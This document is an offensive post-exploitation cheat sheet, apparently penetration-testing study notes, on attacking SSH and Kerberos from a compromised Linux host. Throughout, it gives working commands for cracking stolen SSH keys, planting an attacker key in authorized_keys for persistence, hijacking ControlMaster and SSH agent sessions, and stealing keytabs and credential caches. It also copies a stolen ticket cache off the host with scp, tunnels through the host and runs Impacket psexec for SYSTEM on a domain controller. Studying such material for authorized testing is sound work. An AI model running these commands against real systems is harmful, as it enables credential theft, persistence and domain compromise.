Helpful SSH tips
Attacking private keys
Look for private key files in their default location for different users, e.g.
/home/${USERNAME}/.ssh/*
. We can get information about hosts recently
connected to via SSH by reading through /home/${USERNAME}/.ssh/known_hosts
.
We can exfiltrate SSH private keys and attempt to crack them with JohnTheRipper. To prepare a SSH private key for cracking, invoke the following:
python /usr/share/john/ssh2john.py ${SSH_PRIV_KEY} > ${OUTFILE}.hash
sudo john --wordlist=/usr/share/wordlists/rockyou.txt ${OUTFILE}.hash
Persistence
Invoke the following to generate a new key pair on your attacker host:
ssh-keygen
Copy the contents of the public key, .pub
, to you clipboard and write it to
the victim’s authorized_keys
file, persisting your ability to reestablish
future connections without credentials. Here’s an example:
echo "${PUB_KEY_CONTENTS}" >> /home/${USERNAME}/.ssh/authorized_keys
Hijacking with ControlMaster
ControlMaster is a feature in SSH that enables multiple session over a
single network connection. We can place the following contents in the
/home/${USERNAME}/.ssh.config
to enable this feature:
Host *
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist 10m
Invoke the following to enable this feature:
chmod 644 ~/.ssh/config
mkdir ~/.ssh/controlmaster
When the user we’ve created this ControlMaster configuration for establishes an
SSH connection to other remote hosts, it will create a socket file in
~/.ssh/controlmaster
. Once they establish a connection, we can also SSH to the
same target, piggybacking off their connection.
If we’re not logged in as the same user as the victim user, or as the root
user, we can piggyback of their SSH session by invoking the following:
ssh -S ${PATH_TO_CONTROLMASTER_SOCKET} ${USER}@${RHOST}
Hijacking SSH-Agent and SSH Agent Forwarding
SSH-Agent is a utility users can use locally to keep track of their passphrases for private keys. SSH Agent Forwarding is a utility we can use to connect to remote hosts using an intermediate host, where the intermediate host doesn’t have to store our private key.
The problem is that, if a root
user has compromised the intermediate host,
they can hijack a session established with SSH Agent Forwarding. Invoke the
following on an intermediate host to find hijacking opportunities:
ps aux | grep ssh
pstree -p offsec | grep ssh
Given the process ID for an interactive session established through SSH, we can
inspect the process’ environment variables to find its SSH_AUTH_SOCK
. Invoke
the following to read a process’ environment variables:
cat /proc/${PROCESS_ID}/environ
With a valid SSH_AUTH_SOCK
, we can add the key for the SSH Agent to our cache.
Then we can hijack the victim’s session, for example:
SSH_AUTH_SOCK=${VICTIM_SSH_AUTH_SOCK_PATH} ssh-add -l
SSH_AUTH_SOCK=${VICTIM_SSH_AUTH_SOCK_PATH} ssh ${USER}@${RHOST}
Helpful Kerberos tips
Keytab files
Keytab files enable users to access Kerberos-enabled network resources while impersonating the user who created the keytab file. These files usually contain a User Principal Name (UPN) for the domain and encrypted keys.
If you’re the root
user on a Linux machine, or you can read / access a user’s
keytab files, you can load this keytab file into your cache and authenticate as
the user within the domain and access Kerberos-enabled resources the user can
access. Here’s an example invocation of loading and refreshing a token for a
keytab file:
kinit ${UPN} -k -t ${KEYTAB_FILEPATH}
kinit -R
Credential cache files
Kerberos credential cache files are written to the /tmp
directory. As the
root
user, if they’re accessible, we can acquire them and reuse the victim
user’s Ticket Granting Ticket (TGT) to access Kerberos-enabled network services.
Here’s an example attack:
ls -al /tmp/krb5cc_*
sudo cp ${TARGET_CCACHE_FILE} ${OUTFILE}
sudo chown ${GROUP}:${USER} ${OUTFILE}
kdestroy
klist
export KRB5CCNAME=${OUTFILE}
klist
Impacket
Using Impacket, we can use a domain-joined compromised Linux host to enumerate and attack the domain from our attacker Kali machine. First we’ll exfil our stolen ccache file:
scp ${USER}@${RHOST}:${OUTFILE} ${LOCALFILE}
export KRB5CCNAME=${LOCALFILE}
sudo apt install krb5-user --yes
Make sure to modify your /etc/hosts
file to enable domain name resolution for
the Domain Controller’s (DC) hostname. Also comment out the proxy_dns
configuration for /etc/proxychains.conf
.
Establish a dynamic tunnel through the domain-joined, compromised host, for example:
ssh ${OFFSEC}@${RHOST} -D 9050 -N
After all this setup, we can now enumerate users within the domain with the following:
proxychains python /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -k -no-pass -dc-ip ${DCHOST} ${DOMAIN}/${USER}
We can also acquire all the Service Principal Names (SPN) for services in the domain:
proxychains python /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -k -no-pass -dc-ip ${DCHOST} ${DOMAIN}/${USER}
Here’s an example of using psexec
through our tunnel to obtain code execution
as SYSTEM on the DC:
proxychains python /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass ${UPN}